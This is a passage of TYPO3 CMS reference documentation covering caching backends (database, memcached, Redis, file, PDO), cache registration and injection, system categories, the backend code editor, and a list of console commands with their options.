It stores data in the configured database (usually MySQL) and can handle large amounts of data with reasonable performance. Data and tags are stored in two different tables, every cache needs its own set of tables. In terms of performance the database backend is already pretty well optimized and should be used as default backend if in doubt. This backend is the default backend if no backend is specifically set in the configuration.

The Core takes care of creating and updating required database tables "on the fly".

For caches with a lot of read and write operations, it is important to tune the MySQL setup. The most important setting is innodb_buffer_pool_size. A generic goal is to give MySQL as much RAM as needed to have the main table space loaded completely in memory.

The database backend tends to slow down if there are many write operations and big caches which do not fit into memory because of slow harddrive seek and write performance. If the data table grows too big to fit into memory, it is possible to compress given data transparently with this backend, which often shrinks the amount of needed space to 1/4 or less. The overhead of the compress/uncompress operation is usually not high. A good candidate for a cache with enabled compression is the Core pages cache: it is only read or written once per request and the data size is pretty large. The compression should not be enabled for caches which are read or written multiple times during one request.

InnoDB Issues

The database backend for MySQL uses InnoDB tables. Due to the nature of InnoDB, deleting records does not reclaim the actual disk space. E.g. if the cache uses 10GB, cleaning it will still keep 10GB allocated on the disk even though phpMyAdmin will show 0 as the cache table size. To reclaim the space, turn on the MySQL option file_per_table, drop the cache tables and re-create them using the Install Tool. This does not by any mean that you should skip the scheduler task. Deleting records still improves performance.

Options

Option

Description

Mandatory

Type

Default

compression

Whether or not data should be compressed with gzip. This can reduce size of the cache data table, but incurs CPU overhead for compression and decompression.

No

boolean

false

compressionLevel

Gzip compression level (if the compression option is set to true). The default compression level is usually sufficient.

  • -1: Default gzip compression (recommended)
  • 0: No compression
  • 9: Maximum compression (costs a lot of CPU)

No

integer from -1 to 9

-1

Memcached Backend

Memcached is a simple, distributed key/value RAM database. To use this backend, at least one memcached daemon must be reachable, and the PECL module "memcache" must be loaded. There are two PHP memcached implementations: "memcache" and "memcached". Currently, only memcache is supported by this backend.

Warning and Design Constraints

Memcached is a simple key-value store by design . Since the caching framework needs to structure it to store the identifier-data-tags relations, for each cache entry it stores an identifier->data, identifier->tags and a tag->identifiers entry.

This leads to structural problems:

  • If memcache runs out of memory but must store new entries, it will toss some other entry out of the cache (this is called an eviction in memcached speak).
  • If data is shared over multiple memcache servers and some server fails, key/value pairs on this system will just vanish from cache.

Both cases lead to corrupted caches. If, for example, a tags->identifier entry is lost, dropByTag() will not be able to find the corresponding identifier->data entries which should be removed and they will not be deleted. This results in old data delivered by the cache. Additionally, there is currently no implementation of the garbage collection that could rebuild cache integrity.

It is important to monitor a memcached system for evictions and server outages and to clear caches if that happens.

Furthermore memcache has no sort of namespacing. To distinguish entries of multiple caches from each other, every entry is prefixed with the cache name. This can lead to very long runtimes if a big cache needs to be flushed, because every entry has to be handled separately and it is not possible to just truncate the whole cache with one call as this would clear the whole memcached data which might even hold non TYPO3 related entries.

Because of the mentioned drawbacks, the memcached backend should be used with care or in situations where cache integrity is not important or if a cache has no need to use tags at all. Currently, the memcache backend implements the TaggableBackendInterface, so the implementation does allow tagging, even if it is not advised to used this backend together with heavy tagging.

Options

Option

Description

Mandatory

Type

Default

servers

Array of used memcached servers. At least one server must be defined. Each server definition is a string, allowed syntaxes:

  • hostname or IP: TCP connect to host on memcached default port (usually 11211, defined by PHP ini variable memcache.default_port)
  • hostname:port: TCP connect to host on port
  • tcp://hostname:port: Same as above
  • unix:///path/to/memcached.sock: Connect to memcached server using unix sockets

Yes

array

 

compression

Enable memcached internal data compression. Can be used to reduce memcached memory consumption, but adds additional compression / decompression CPU overhead on the related memcached servers.

No

boolean

false

Redis Backend

Redis is a key-value storage/database. In contrast to memcached, it allows structured values. Data is stored in RAM but it allows persistence to disk and doesn't suffer from the design problems of the memcached backend implementation. The redis backend can be used as an alternative to the database backend for big cache tables and helps to reduce load on database servers this way. The implementation can handle millions of cache entries each with hundreds of tags if the underlying server has enough memory.

Redis is known to be extremely fast but very memory hungry. The implementation is an option for big caches with lots of data because most important operations perform O(1) in proportion to the number of (redis) keys. This basically means that the access to an entry in a cache with a million entries is not slower than to a cache with only 10 entries, at least if there is enough memory available to hold the complete set in memory. At the moment only one redis server can be used at a time per cache, but one redis instance can handle multiple caches without performance loss when flushing a single cache.

The implementation is based on the PHP phpredis module, which must be available on the system.

Redis example

The Redis caching backend configuration is very similar to that of other backends, but there is one caveat.

TYPO3 caches should be separated in case the same keys are used. This applies to the pages and pagesection caches. Both use "tagIdents:pageId_21566" for a page with an id of 21566. How you separate them is more of a system administrator decision. We provide examples with several databases but this may not be the best option in production where you might want to use multiple cores (which do not support databases). The separation has the additional advantage that caches can be flushed individually.

If you have several of your own caches which each use unique keys (for example by using a different prefix for the cache identifier for each cache), you can store them in the same database, but it is good practice to separate the core caches.

In practical terms, Redis databases should be used to separate different keys belonging to the same application (if needed), and not to use a single Redis instance for multiple unrelated applications.

https://redis.io/commands/select/

config/system/additional.php | typo3conf/system/additional.php
<?php

$redisHost = '127.0.0.1';
$redisPort = 6379;
$redisCaches = [
    'pages' => [
        'defaultLifetime' => 86400 * 7, // 1 week
        'compression' => true,
    ],
    'pagesection' => [
        'defaultLifetime' => 86400 * 7,
    ],
    'hash' => [],
    'rootline' => [],
];

$redisDatabase = 0;
foreach ($redisCaches as $name => $values) {
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['backend']
        = \TYPO3\CMS\Core\Cache\Backend\RedisBackend::class;
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['options'] = [
        'database' => $redisDatabase++,
        'hostname' => $redisHost,
        'port' => $redisPort,
    ];
    if (isset($values['defaultLifetime'])) {
        $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['options']['defaultLifetime']
            = $values['defaultLifetime'];
    }
    if (isset($values['compression'])) {
        $GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations'][$name]['options']['compression']
            = $values['compression'];
    }
}
Copied!

Options

Option

Description

Mandatory

Type

Default

hostname

IP address or name of redis server to connect to.

No

string

127.0.0.1

port

Port of the redis daemon.

No

integer

6379

persistentConnection

Activate a persistent connection to redis server. This could be a benefit under high load cloud setups.

No

boolean

false

database

Number of the database to store entries. Each cache should use its own database, otherwise all caches sharing a database are flushed if the flush operation is issued to one of them. Database numbers 0 and 1 are used and flushed by the Core unit tests and should not be used if possible.

No

integer

password

Password used to connect to the redis instance if the redis server needs authentication.

No

string

 

compression

Whether or not data compression with gzip should be enabled. This can reduce cache size, but adds some CPU overhead for the compression and decompression operations in PHP.

No

boolean

false

compressionLevel

Set gzip compression level to a specific value. The default compression level is usually sufficient.

  • -1: Default gzip compression (recommended)
  • 0: No compression
  • 9: Maximum compression (but more CPU overhead)

No

integer from -1 to 9

-1

Redis server configuration

This section is about the configuration on the Redis server, not the client.

For the flushing by cache tags to work, it is important that the integrity of the cache entries and cache tags is maintained. This may not be the case, depending on which eviction policy (maxmemory-policy) is used. For example, for a page id=81712, the following entries may exist in the Redis page cache:

  1. "tagIdents:pageId_81712" (tag->identifier relation)
  2. "identTags:81712_7e9c8309692aa221b08e6d5f6ec09fb6" (identifier->tags relation)
  3. "identData:81712_7e9c8309692aa221b08e6d5f6ec09fb6" (identifier->data)

If entries are evicted (due to memory shortage), there is no mechanism in place which ensures that all entries which are related, will be evicted. If maxmemory-policy allkeys-lru is used, for example, this may result in the situation that the cache entry (identData) still exists, but the tag entry (tagIdents) does not. The tag entry reflects the relation "cache tag => cache identifier" and is used for RedisBackend::flushByTag()). If this entry is gone, the cache can no longer be flushed if content is changed on the page or an explicit flushing of the page cache for this page is requested. Once this is the case, cache flushing (for this page) is only possible via other means (such as full cache flush).

Because of this, the following recommendations apply:

  1. Allocate enough memory (maxmemory) for the cache.
  2. Use the maxmemory-policy volatile-ttl. This will ensure that no tagIdents entries are removed. (These have no expiration date).
  3. Regularly run the TYPO3 scheduler garbage collection task for the Redis cache backend.
  4. Monitor evicted_keys in case an eviction policy is used.
  5. Monitor used_memory if eviction policy noeviction is used. The used_memory should always be less then maxmemory.

The maxmemory-policy options have the following drawbacks:

volatile-ttl
(recommended) Will flush only entries with an expiration date. Should be ok with TYPO3.
noeviction
(Not recommended) Once memory is full, no new entries will be saved to cache. Only use if you can ensure that there is always enough memory.
allkeys-lru, allkeys-lfu, allkeys-random
(Not recommended) This may result in tagIdents being removed, but not the related identData entry, which makes it impossible to flush the cache entries by tag (which is necessary for TYPO3 cache flushing on changes to work and the flush page cache to work for specific pages).

File Backend

The file backend stores every cache entry as a single file to the file system. The lifetime and tags are added after the data part in the same file.

This backend is the big brother of the Simple file backend and implements additional interfaces. Like the simple file backend it also implements the PhpCapableInterface, so it can be used with PhpFrontend. In contrast to the simple file backend it furthermore implements TaggableInterface and FreezableInterface.

A frozen cache does no lifetime check and has a list of all existing cache entries that is reconstituted during initialization. As a result, a frozen cache needs less file system look ups and calculation time if accessing cache entries. On the other hand, a frozen cache can not manipulate (remove, set) cache entries anymore. A frozen cache must flush the complete cache again to make cache entries writable again. Freezing caches is currently not used in the TYPO3 Core. It can be an option for code logic that is able to calculate and set all possible cache entries during some initialization phase, to then freeze the cache and use those entries until the whole thing is flushed again. This can be useful especially if caching PHP code.

In general, the backend was specifically optimized to cache PHP code, the get and set operations have low overhead. The file backend is not very good with tagging and does not scale well with the number of tags. Do not use this backend if cached data has many tags.

Options

Option

Description

Mandatory

Type

Default

cacheDirectory

The directory where the cache files are stored. By default it is assumed that the directory is below TYPO3_DOCUMENT_ROOT. However, an absolute path can be selected, too. Every cache should be assigned its own directory, otherwise flushing of one cache would flush all other caches within the same directory as well.

No

string

typo3temp/cache/

Simple File Backend

The simple file backend is the small brother of the file backend. In contrast to most other backends, it does not implement the TaggableInterface, so cache entries can not be tagged and flushed by tag. This improves the performance if cache entries do not need such tagging. The TYPO3 Core uses this backend for its central Core cache (that hold autoloader cache entries and other important cache entries). The Core cache is usually flushed completely and does not need specific cache entry eviction.

PDO Backend

The PDO backend can be used as a native PDO interface to databases which are connected to PHP via PDO. It is an alternative to the database backend if a cache should be stored in a database which is otherwise only supported by TYPO3 dbal to reduce the parser overhead.

The garbage collection is implemented for this backend and should be called to clean up hard disk space or memory.

Options

Option

Description

Mandatory

Type

Default

dataSourceName

Data source name for connecting to the database. Examples:

  • mysql:host=localhost;dbname=test
  • sqlite:/path/to/sqlite.db
  • sqlite::memory

Yes

string

 

username

Username for the database connection.

No

string

 

password

Password to use for the database connection.

No

string

 

Transient Memory Backend

The transient memory backend stores data in a PHP array. It is only valid for one request. This becomes handy if code logic needs to do expensive calculations or must look up identical information from a database over and over again during its execution. In this case it is useful to store the data in an array once and lookup the entry from the cache for consecutive calls to get rid of the otherwise additional overhead. Since caches are available system wide and shared between Core and extensions they can profit from each other if they need the same information.

Since the data is stored directly in memory, this backend is the quickest backend available. The stored data adds to the memory consumed by the PHP process and can hit the memory_limit PHP setting.

Null Backend

The null backend is a dummy backend which doesn't store any data and always returns false on get(). This backend becomes handy in development context to practically "switch off" a cache.

Developer information

This chapter is aimed at extension authors who want to use the caching framework for their needs. It is about how to use the framework properly. For details about its inner working, please refer to the section about architecture.

Example usages can be found throughout the TYPO3 Core, in particular in the system extensions core and extbase.

Cache registration

Registration of a new cache should be done in an extension's ext_localconf.php. The example below defines an empty sub-array in cacheConfigurations. Neither frontend nor backend are defined: The cache manager will choose the default variable frontend and the database backend by default.

EXT:my_extension/ext_localconf.php
<?php

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']
    ??= [];
Copied!

If special settings are needed, for example, a specific backend (like the transient memory backend), it can be defined with an additional line below the cache array declaration. The extension documentation should hint an integrator about specific caching needs or setups in this case.

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Cache\Backend\TransientMemoryBackend;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']
    ??= [];
$GLOBALS['TYPO3_CONF_VARS']['SYS']['caching']['cacheConfigurations']['myext_mycache']['backend']
    ??= TransientMemoryBackend::class;
Copied!

Using the cache

First, we need to prepare the injection of our cache by setting it up as service in the container service configuration:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  cache.myext_mycache:
    class: TYPO3\CMS\Core\Cache\Frontend\FrontendInterface
    factory: ['@TYPO3\CMS\Core\Cache\CacheManager', 'getCache']
    arguments: ['myext_mycache']
Copied!

Read how to configure dependency injection in extensions.

The name of the service for the injection configuration is cache.myext_mycache, the name of the cache is myext_mycache (as defined in ext_localconf.php). Both can be anything you like, just make sure they are unique and clearly hint at the purpose of your cache.

Here is some example code which retrieves the cache via dependency injection:

EXT:my_extension/Classes/MyClass.php
<?php

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Cache\Frontend\FrontendInterface;

final class MyClass
{
    public function __construct(
        private readonly FrontendInterface $cache,
    ) {}

    //...

    private function getCachedValue(string $cacheIdentifier, array $tags, int|null $lifetime): array
    {
        // If value is false, it has not been cached
        $value = $this->cache->get($cacheIdentifier);
        if ($value === false) {
            // Store the data in cache
            $value = $this->calculateData();
            $this->cache->set($cacheIdentifier, $value, $tags, $lifetime);
        }

        return $value;
    }

    private function calculateData(): array
    {
        $data = [];
        // todo: implement
        return $data;
    }
}
Copied!

Since the auto-wiring feature of the dependency injection container cannot detect which cache configuration should be used for the $cache argument of MyClass, the container service configuration needs to be extended:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration
  # and the configuration of the cache from above

  MyVendor\MyExtension\MyClass:
    arguments:
      $cache: '@cache.myext_mycache'
Copied!

Read how to configure dependency injection in extensions.

Here @cache.myext_mycache refers to the cache service we defined above. This setup allows you to freely inject the very same cache into any class.

Working with cache tags

The frontend cache collector API is available as a PSR-7 request attribute to collect cache tags and their corresponding lifetime. Find more information in the chapter Frontend cache collector.

System categories

TYPO3 provides a generic categorization system. Categories can be created in the backend like any other type of record.

A TCA field of the column type category is available.

Pages, content elements and files contain category fields by default.

Using Categories

Managing Categories

System categories are defined like any other record. Each category can have a parent, making a tree-like structure.

A category with a parent defined

The Items tab shows all related records, for example all records that have been marked as belonging to this category.

Adding categories to a table

Categories can be added to a table by defining a TCA field of the TCA column type category. While using this type, TYPO3 takes care of generating the necessary TCA configuration and also adds the database column automatically. Developers only have to configure the TCA column and add it to the desired record types:

$GLOBALS['TCA'][$myTable]['columns']['categories'] = [
   'config' => [
      'type' => 'category'
   ]
];

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes(
   $myTable,
   'categories'
);
Copied!

This is the result of the above code:

The newly added field to define relations to categories

Using categories in FlexForms

It is possible to create relations to categories also in FlexForms.

Due to some limitations in FlexForm, the property relationship manyToMany is not supported. Therefore, the default value for this property is oneToMany.

<T3DataStructure>
    <ROOT>
        <TCEforms>
            <sheetTitle>aTitle</sheetTitle>
        </TCEforms>
        <type>array</type>
        <el>
            <categories>
                <TCEforms>
                    <config>
                        <type>category</type>
                    </config>
                </TCEforms>
            </categories>
        </el>
    </ROOT>
</T3DataStructure>
Copied!

System categories API

Category Collections

The \TYPO3\CMS\Core\Category\Collection\CategoryCollection class provides the API for retrieving records related to a given category. It is extended by class \TYPO3\CMS\Frontend\Category\Collection\CategoryCollection which does the same job but in the frontend, i.e. respecting all enable fields and performing version and language overlays.

The main method is load() which will return a traversable list of items related to the given category. Here is an example usage, taken from the RECORDS content object:

$collection = \TYPO3\CMS\Frontend\Category\Collection\CategoryCollection::load(
   $aCategory,
   true,
   $table,
   $relationField
);
if ($collection->count() > 0) {
   // Add items to the collection of records for the current table
   foreach ($collection as $item) {
      $tableRecords[$item['uid']] = $item;
      // Keep track of all categories a given item belongs to
      if (!isset($categoriesPerRecord[$item['uid']])) {
         $categoriesPerRecord[$item['uid']] = [];
      }
      $categoriesPerRecord[$item['uid']][] = $aCategory;
   }
}
Copied!

As all collection classes in the TYPO3 Core implement the Iterator interface, it is also possible to use expected methods like next(), rewind(), etc. Note that methods such as add() will only add items to the collection temporarily. The relations are not persisted in the database.

Usage with TypoScript

In the frontend, it is possible to get collections of categorized records loaded into a RECORDS content object for rendering. Check out the categories property.

The HMENU object also has a "categories" special type to display a menu based on categorized pages.

User permissions for system categories

In most aspects, system categories are treated like any other record. They can be viewed or edited by editors if they are stored in a folder where the editor has access to and if the table sys_category is allowed in the field Tables (listing) and Tables (modify) in the tab Access Lists of the user group.

Additionally it is possible to set Mounts and Workspaces > Category Mounts in the user group. If at least one category is set in the category mounts only the chosen categories are allowed to be attached to records.

Code editor

Changed in version 13.0

The code editor functionality was moved from the optional "t3editor" system extension into the "backend" system extension. The code editor is therefore always available.

Checks whether the previous system extension is installed via \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::isLoaded('t3editor') are now obsolete.

The code editor provides a backend editor with syntax highlighting. The editor is used by TYPO3 itself for TCA fields with type "text" and renderType "codeEditor" and in the module File > Filelist. Under the hood, CodeMirror is used.

Usage in TCA

Extensions may configure backend fields to use the code editor by TCA. The editor is only available for fields of type text. By setting the renderType to codeEditor the syntax highlighting can be activated.

By setting the property format the mode for syntax highlighting can be chosen. Allowed values:

  • css
  • html
  • javascript
  • json
  • php
  • sql
  • typoscript
  • xml
  • and any custom mode registered by an extension.

Example

Excerpt of TCA definition (EXT:my_extension/Configuration/TCA/tx_myextension_domain_model_mytable.php)
[
    'columns' => [
        'codeeditor1' => [
            'label' => 'codeEditor_1 format=html, rows=7',
            'description' => 'field description',
            'config' => [
                'type' => 'text',
                'renderType' => 'codeEditor',
                'format' => 'html',
                'rows' => 7,
            ],
        ],
    ],
]
Copied!

Displays an editor like the following:

A code editor with syntax highlighting for HTML

A code editor with syntax highlighting for HTML

Extend the code editor

Custom modes (used for syntax highlighting) and addons can be registered.

CodeMirror delivers a lot more modes and addons than registered in the code editor by default.

More supported addons and modes are available at:

To register custom addons and modes, extensions may have these two files to extend the code editor:

  • Configuration/Backend/T3editor/Addons.php
  • Configuration/Backend/T3editor/Modes.php

Both files return an array, as known as in TCA and backend routes, for example.

Register an addon

To register an addon, the following code may be used:

EXT:my_extension/Configuration/Backend/T3editor/Addons.php
<?php

use TYPO3\CMS\Core\Page\JavaScriptModuleInstruction;

return [
    'my/addon' => [
        'module' => JavaScriptModuleInstruction::create(
            '@codemirror/addon',
            'addon',
        )->invoke(),
        'cssFiles' => [
            'EXT:my_extension/Resources/Public/Css/MyAddon.css',
        ],
        'options' => ['foobar' => 'baz'],
    ],
    'modes' => ['htmlmixed', 'xml'],
];
Copied!

The following configuration options are available:

<identifier>

<identifier>
Type
string
Required
true

Represents the unique identifier of the module ( my/addon in this example).

module

module
Type
string
Required
true

Holds the JavaScriptModuleInstruction of the CodeMirror module.

cssFiles

cssFiles
Type
array

Holds all CSS files that must be loaded for the module.

options

options
Type
array

Options that are used by the addon.

modes

modes
Type
array

If set, the addon is only loaded if any of the modes supplied here is used.

Register a mode

To register a mode, the following code may be used:

EXT:my_extension/Configuration/Backend/T3editor/Modes.php
<?php

return [
    'css' => [
        'module' => 'cm/mode/css/css',
        'extensions' => ['css'],
    ],
];
Copied!

The following configuration options are available:

<identifier>

<identifier>
Type
string
Required
true

Represents the unique identifier and format code of the mode (css in this example). The format code is used in TCA to define the CodeMirror mode to be used.

Example:

$GLOBALS['TCA']['tt_content']['types']['css']['columnsOverrides']['bodytext']['config']['format'] = 'css';
Copied!

module

module
Type
string
Required
true

Holds the JavaScriptModuleInstruction of the CodeMirror module.

extensions

extensions
Type
array

Binds the mode to specific file extensions. This is important for using the code editor in the module File > Filelist.

default

default
Type
bool

If set, the mode is used as fallback if no sufficient mode is available. By factory default, the default mode is html.

Console commands (CLI)

It is possible to run TYPO3 scripts from the command line. This functionality can be used to set up cron jobs, for example.

TYPO3 uses Symfony commands API for writing CLI (command line interface) commands. These commands can also be run from the TYPO3 scheduler if this option is not disabled in the Configuration/Services.yaml.

The starting point for the commands differs depending on the type of your TYPO3 installation.

  • For installations with Composer, the starting point is the project folder, which also contains the composer.json file of the project. The CLI commands usually start with vendor/bin/typo3.
  • For Classic mode installations (without Composer), the starting point is usually the web root, so CLI commands start with typo3/sysext/core/bin/typo3.

Run a command from the command line

You can list the available commands by calling:

vendor/bin/typo3
Copied!
typo3/sysext/core/bin/typo3
Copied!

For example, you can clear all caches by calling:

vendor/bin/typo3 cache:flush
Copied!
typo3/sysext/core/bin/typo3 cache:flush
Copied!

Show help for the command:

vendor/bin/typo3 cache:flush -h
Copied!
typo3/sysext/core/bin/typo3 cache:flush -h
Copied!

Running the command from the scheduler

By default, it is possible to run a command from the TYPO3 scheduler as well. To do this, select the task Execute console commands followed by your command in the Schedulable Command field.

In order to prevent commands from being set up as scheduler tasks, see 1. Register the command.

Create a custom command

See the Tutorial: Create a console command for details on how to create commands.

DataHandler usage

Using the DataHandler in a CLI command requires backend authentication. See Using the DataHandler in a Symfony command for more information.

Read more

List of TYPO3 console commands

By default TYPO3 ships the listed console commands, depending on which system extensions are installed.

Third party extensions can define custom console commands.

The extension helhum/typo3-console ships many commands to execute TYPO3 actions, which otherwise would only be accessible via the TYPO3 backend.

This page assumes that the code is run on a Composer based installation with default binaries location. Here you can read how to run them in general and on Classic mode installations: Run a command from the command line.

List all TYPO3 console commands

Command Description
global
 
vendor/bin/typo3 completion
Dump the shell completion script
vendor/bin/typo3 help
Display help for a command
vendor/bin/typo3 list
List commands
vendor/bin/typo3 setup
Setup TYPO3 via CLI using environment variables, CLI options or interactive
backend
 
vendor/bin/typo3 backend:lock
Lock the TYPO3 Backend
vendor/bin/typo3 backend:resetpassword
Trigger a password reset for a backend user
vendor/bin/typo3 backend:unlock
Unlock the TYPO3 Backend
vendor/bin/typo3 backend:user:create
Create a backend user
cache
 
vendor/bin/typo3 cache:flush
Flush TYPO3 caches.
vendor/bin/typo3 cache:warmup
Warmup TYPO3 caches.
cleanup
 
vendor/bin/typo3 cleanup:deletedrecords
Permanently deletes all records marked as "deleted" in the database.
vendor/bin/typo3 cleanup:flexforms
Clean up database FlexForm fields that do not match the chosen data structure.
vendor/bin/typo3 cleanup:localprocessedfiles
Delete processed files and their database records.
vendor/bin/typo3 cleanup:missingrelations
Find all record references pointing to a non-existing record
vendor/bin/typo3 cleanup:orphanrecords
Find and delete records that have lost their connection with the page tree.
vendor/bin/typo3 cleanup:previewlinks
Find all versioned records and possibly cleans up invalid records in the database.
vendor/bin/typo3 cleanup:versions
Find all versioned records and possibly cleans up invalid records in the database.
extension
 
vendor/bin/typo3 extension:list
Shows the list of extensions available to the system
vendor/bin/typo3 extension:setup
Set up extensions
fluid
 
vendor/bin/typo3 fluid:schema:generate
Generate XSD schema files for all available ViewHelpers in var/transient/
impexp
 
vendor/bin/typo3 impexp:export
Exports a T3D / XML file with content of a page tree
vendor/bin/typo3 impexp:import
Imports a T3D / XML file with content into a page tree
language
 
vendor/bin/typo3 language:update
Update the language files of all activated extensions
lint
 
vendor/bin/typo3 lint:yaml
Lint a YAML file and outputs encountered errors
mailer
 
vendor/bin/typo3 mailer:spool:send
Sends emails from the spool
messenger
 
vendor/bin/typo3 messenger:consume
Consume messages
redirects
 
vendor/bin/typo3 redirects:checkintegrity
Check integrity of redirects
vendor/bin/typo3 redirects:cleanup
Cleanup old redirects periodically for given constraints like days, hit count or domains.
referenceindex
 
vendor/bin/typo3 referenceindex:update
Update the reference index of TYPO3
scheduler
 
vendor/bin/typo3 scheduler:execute
Execute given Scheduler tasks.
vendor/bin/typo3 scheduler:list
List all Scheduler tasks.
vendor/bin/typo3 scheduler:run
Start the TYPO3 Scheduler from the command line.
setup
 
vendor/bin/typo3 setup:begroups:default
Setup default backend user groups
site
 
vendor/bin/typo3 site:list
Shows the list of sites available to the system
vendor/bin/typo3 site:sets:list
Shows the list of available site sets
vendor/bin/typo3 site:show
Shows the configuration of the specified site
syslog
 
vendor/bin/typo3 syslog:list
Show entries from the sys_log database table of the last 24 hours.
upgrade
 
vendor/bin/typo3 upgrade:list
List available upgrade wizards.
vendor/bin/typo3 upgrade:mark:undone
Mark upgrade wizard as undone.
vendor/bin/typo3 upgrade:run
Run upgrade wizard. Without arguments all available wizards will be run.
workspace
 
vendor/bin/typo3 workspace:autopublish
Publish a workspace with a publication date.

vendor/bin/typo3 completion

vendor/bin/typo3 completion Back to list
Dump the shell completion script
Usage
vendor/bin/typo3 completion [--debug] [--] [<shell>]
Copied!
Arguments

shell

shell
The shell type (e.g. "bash"), the value of the "$SHELL" env var will be used if this is not given
Options

--debug

--debug
Tail the completion debug log
Value
None allowed
Default value
false
Help

The completion command dumps the shell completion script required to use shell autocompletion (currently, bash, fish, zsh completion are supported).

Static installation

Dump the script to a global completion file and restart your shell:

vendor/vendor/bin/typo3 completion  | sudo tee /etc/bash_completion.d/typo3
Copied!

Or dump the script to a local file and source it:

vendor/vendor/bin/typo3 completion  > completion.sh

# source the file whenever you use the project
source completion.sh

# or add this line at the end of your "~/.bashrc" file:
source /path/to/completion.sh
Copied!
Dynamic installation

Add this to the end of your shell configuration file (e.g. "~/.bashrc"):

eval "$(/var/www/html/vendor/vendor/bin/typo3 completion )"
Copied!

vendor/bin/typo3 help

vendor/bin/typo3 help Back to list
Display help for a command
Usage
vendor/bin/typo3 help [--format FORMAT] [--raw] [--] [<command_name>]
Copied!
Arguments

command_name

command_name
The command name
Options

--format

--format
The output format (txt, xml, json, or md)
Value
Required
Default value
"txt"

--raw

--raw
To output raw command help
Value
None allowed
Default value
false
Help

The help command displays help for a given command:

vendor/vendor/bin/typo3 help list
Copied!

You can also output the help in other formats by using the --format option:

vendor/vendor/bin/typo3 help --format=xml list
Copied!

To display the list of available commands, please use the list command.

vendor/bin/typo3 list

vendor/bin/typo3 list Back to list
List commands
Usage
vendor/bin/typo3 list [--raw] [--format FORMAT] [--short] [--] [<namespace>]
Copied!
Arguments

namespace

namespace
The namespace name
Options

--raw

--raw
To output raw command list
Value
None allowed
Default value
false

--format

--format
The output format (txt, xml, json, or md)
Value
Required
Default value
"txt"

--short

--short
To skip describing commands' arguments
Value
None allowed
Default value
false
Help

The list command lists all commands:

vendor/vendor/bin/typo3 list
Copied!

You can also display the commands for a specific namespace:

vendor/vendor/bin/typo3 list test
Copied!

You can also output the information in other formats by using the --format option:

vendor/vendor/bin/typo3 list --format=xml
Copied!

It's also possible to get raw list of commands (useful for embedding command runner):

vendor/vendor/bin/typo3 list --raw
Copied!

vendor/bin/typo3 setup

vendor/bin/typo3 setup Back to list
Setup TYPO3 via CLI using environment variables, CLI options or interactive
Usage
vendor/bin/typo3 setup [--driver [DRIVER]] [--host HOST] [--port [PORT]] [--dbname DBNAME] [--username USERNAME] [--password PASSWORD] [--admin-username [ADMIN-USERNAME]] [--admin-user-password ADMIN-USER-PASSWORD] [--admin-email ADMIN-EMAIL] [--project-name PROJECT-NAME] [--create-site [CREATE-SITE]] [--server-type [SERVER-TYPE]] [--force] [-n|--no-interaction]
Copied!
Options

--driver

--driver
Select which database driver to use
Value
Optional

--host

--host
Set the database host to use
Value
Required
Default value
"db"

--port

--port
Set the database port to use
Value
Optional
Default value
"3306"

--dbname

--dbname
Set the database name to use
Value
Required
Default value
"db"

--username

--username
Set the database username to use
Value
Required
Default value
"db"

--password

--password
Set the database password to use
Value
Required

--admin-username

--admin-username
Set a username
Value
Optional
Default value
"admin"

--admin-user-password

--admin-user-password
Set users password
Value
Required

--admin-email

--admin-email
Set users email
Value
Required
Default value
""

--project-name

--project-name
Set the TYPO3 project name
Value
Required
Default value
"New TYPO3 Project"

--create-site

--create-site
Create a basic site setup (root page and site configuration) with the given domain
Value
Optional
Default value
false

--server-type

--server-type
Define the web server the TYPO3 installation will be running on
Value
Optional
Default value
"other"

--force

--force
Force settings overwrite - use this if TYPO3 has been installed already
Value
None allowed
Default value
false
Help
The command offers 3 ways to setup TYPO3:
  1. environment variables
  2. commandline options
  3. interactive guided walk-through

All values are validated no matter where it was set. If a value is missing, the user will be asked for it.

Setup using environment variables

TYPO3_DB_DRIVER=mysqli \
TYPO3_DB_USERNAME=db \
TYPO3_DB_PORT=3306 \
TYPO3_DB_HOST=db \
TYPO3_DB_DBNAME=db \
TYPO3_SETUP_ADMIN_EMAIL=admin@example.com \
TYPO3_SETUP_ADMIN_USERNAME=admin \
TYPO3_SETUP_CREATE_SITE="https://your-typo3-site.com/" \
TYPO3_PROJECT_NAME="Automated Setup" \
TYPO3_SERVER_TYPE="apache" \
./vendor/bin/typo3 setup --force

Copied!

vendor/bin/typo3 backend:lock

vendor/bin/typo3 backend:lock Back to list
Lock the TYPO3 Backend
Usage
vendor/bin/typo3 backend:lock [<redirect>]
Copied!
Arguments

redirect

redirect
If set, a locked TYPO3 Backend will redirect to URI specified with this argument. The URI is saved as a string in the lockfile that is specified in the system configuration.
Help

Lock the TYPO3 Backend

vendor/bin/typo3 backend:resetpassword

vendor/bin/typo3 backend:resetpassword Back to list
Trigger a password reset for a backend user
Usage
vendor/bin/typo3 backend:resetpassword <backendurl> <email>
Copied!
Arguments

backendurl

backendurl
The URL of the TYPO3 Backend, e.g. https://www.example.com/typo3/

email

email
The email address of a valid backend user
Help

Trigger a password reset for a backend user

vendor/bin/typo3 backend:unlock

vendor/bin/typo3 backend:unlock Back to list
Unlock the TYPO3 Backend
Usage
vendor/bin/typo3 backend:unlock
Copied!
Help

Unlock the TYPO3 Backend

vendor/bin/typo3 backend:user:create

vendor/bin/typo3 backend:user:create Back to list
Create a backend user
Usage
vendor/bin/typo3 backend:user:create [-u|--username USERNAME] [-p|--password PASSWORD] [-e|--email EMAIL] [-g|--groups GROUPS] [-a|--admin] [-m|--maintainer]
Copied!
Options

--username

--username / -u
The username of the backend user
Value
Required

--password

--password / -p
The password of the backend user. See security note below.
Value
Required

--email

--email / -e
The email address of the backend user
Value
Required
